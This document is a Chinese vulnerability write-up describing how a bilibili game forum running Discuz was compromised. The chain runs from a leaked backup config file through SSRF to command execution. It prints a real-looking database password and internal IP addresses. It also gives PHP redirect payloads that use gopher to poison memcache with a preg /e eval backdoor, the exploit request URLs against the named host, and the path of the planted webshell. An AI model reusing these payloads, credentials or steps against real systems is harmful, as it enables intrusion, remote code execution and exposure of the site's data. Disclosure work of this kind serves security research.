bilibili某分站从信息泄露到ssrf再到命令执行

这个只是memcache的案例，如果是redis更好利用了

0x00 前言

扫描器时常会扫描到一些信息泄露，如discuz的配置文件 /config/config_global.php~ 里面时常带有数据库密码等，但又苦于内网，十分尴尬。

0x01 个例分析

以bilibili这个为例

http://bbs.biligame.com/config/config_global.php~

<?php
$_config = array();
// ----------------------------  CONFIG DB  ----------------------------- //
$_config['db']['1']['dbhost'] = '192.168.10.10';
$_config['db']['1']['dbuser'] = 'gamebbs';
$_config['db']['1']['dbpw'] = 'HdUbOY2YCAoKi3U0';
$_config['db']['1']['dbcharset'] = 'utf8';
$_config['db']['1']['pconnect'] = '0';                                   //此处禁止修改！
$_config['db']['1']['dbname'] = 'gamebbs';
$_config['db']['1']['tablepre'] = 'bbs_';
$_config['db']['slave'] = '';
$_config['db']['common']['slave_except_table'] = '';
// --------------------------  CONFIG MEMORY  --------------------------- //
$_config['memory']['prefix'] = 'NTOSSw_';
$_config['memory']['redis']['server'] = '';
$_config['memory']['redis']['port'] = 6379;
$_config['memory']['redis']['pconnect'] = 1;
$_config['memory']['redis']['timeout'] = '0';
$_config['memory']['redis']['requirepass'] = '';
$_config['memory']['redis']['serializer'] = 1;
$_config['memory']['memcache']['server'] = '192.168.10.12';
$_config['memory']['memcache']['port'] = 11211;
$_config['memory']['memcache']['pconnect'] = 1;
$_config['memory']['memcache']['timeout'] = 1;
$_config['memory']['apc'] = 0;
$_config['memory']['xcache'] = 0;
$_config['memory']['eaccelerator'] = 0;
$_config['memory']['wincache'] = 0;

注意到使用了 memcache 如果有留意到 vBulletin rce http://drops.wooyun.org/papers/8261，相信都被这个漏洞的巧妙之处所吸引。那么，这discuz是否也存在同样的漏洞呢？于是查找调用缓存的地方 \source\function\function_core.php

function output_replace($content) {
    global $_G;
    if(defined('IN_MODCP') || defined('IN_ADMINCP')) return $content;
    if(!empty($_G['setting']['output']['str']['search'])) {
        if(empty($_G['setting']['domain']['app']['default'])) {
            $_G['setting']['output']['str']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['str']['replace']);
        }
        $content = str_replace($_G['setting']['output']['str']['search'], $_G['setting']['output']['str']['replace'], $content);
    }
    if(!empty($_G['setting']['output']['preg']['search']) && (empty($_G['setting']['rewriteguest']) || empty($_G['uid']))) {
        if(empty($_G['setting']['domain']['app']['default'])) {
            $_G['setting']['output']['preg']['search'] = str_replace('\{CURHOST\}', preg_quote($_G['siteurl'], '/'), $_G['setting']['output']['preg']['search']);
            $_G['setting']['output']['preg']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['preg']['replace']);
        }
        $content = preg_replace($_G['setting']['output']['preg']['search'], $_G['setting']['output']['preg']['replace'], $content);
    }
    return $content;
}

真发现有一处。这里的$_G['setting']['output']['preg']['search'] 和 $_G['setting']['output']['preg']['replace']是直接调用缓存中的数据。并且，discuz的ssrf是存在多处的，并且官方估计也很难去修复。 WooYun: Discuz!另一处SSRF无须登陆无须条件于是测试，居然发现服务器支持gohper 协议呀。下面说说利用过程吧。discuz的漏洞详细分析有必要的话稍后再提交给官方。

0x02 漏洞利用

测试利用转发代码

<?php
header('Location: gopher://自己服务器:80/_%0d%0aset NTOSSw_setting 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a');
?>

测试返回如下图万事俱备了，行动先准备好两个页面，便于写完shell后还原。 wshell.php

<?php
header('Location: gopher://192.168.10.12:11211/_%0d%0aset NTOSSw_setting 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a');
?>

cls.php

<?php
header('Location: gopher://192.168.10.12:11211/_%0d%0adelete NTOSSw_setting%0d%0a');
?>

请求

http://bbs.biligame.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/wshell.php?logo.jpg[/img]

完成后，立即请求shell地址

http://bbs.biligame.com/forum.php?mod=ajax&inajax=yes&action=getthreadtypes

从上面可知，这是一句话，由于要绕过waf，所以base64一下。写入文件shell

http://bbs.biligame.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/cls.php?logo.jpg[/img]

还原缓存最后一句话地址为：

http://bbs.biligame.com/data/cache/hello.php

bilibili某分站从信息泄露到ssrf再到命令执行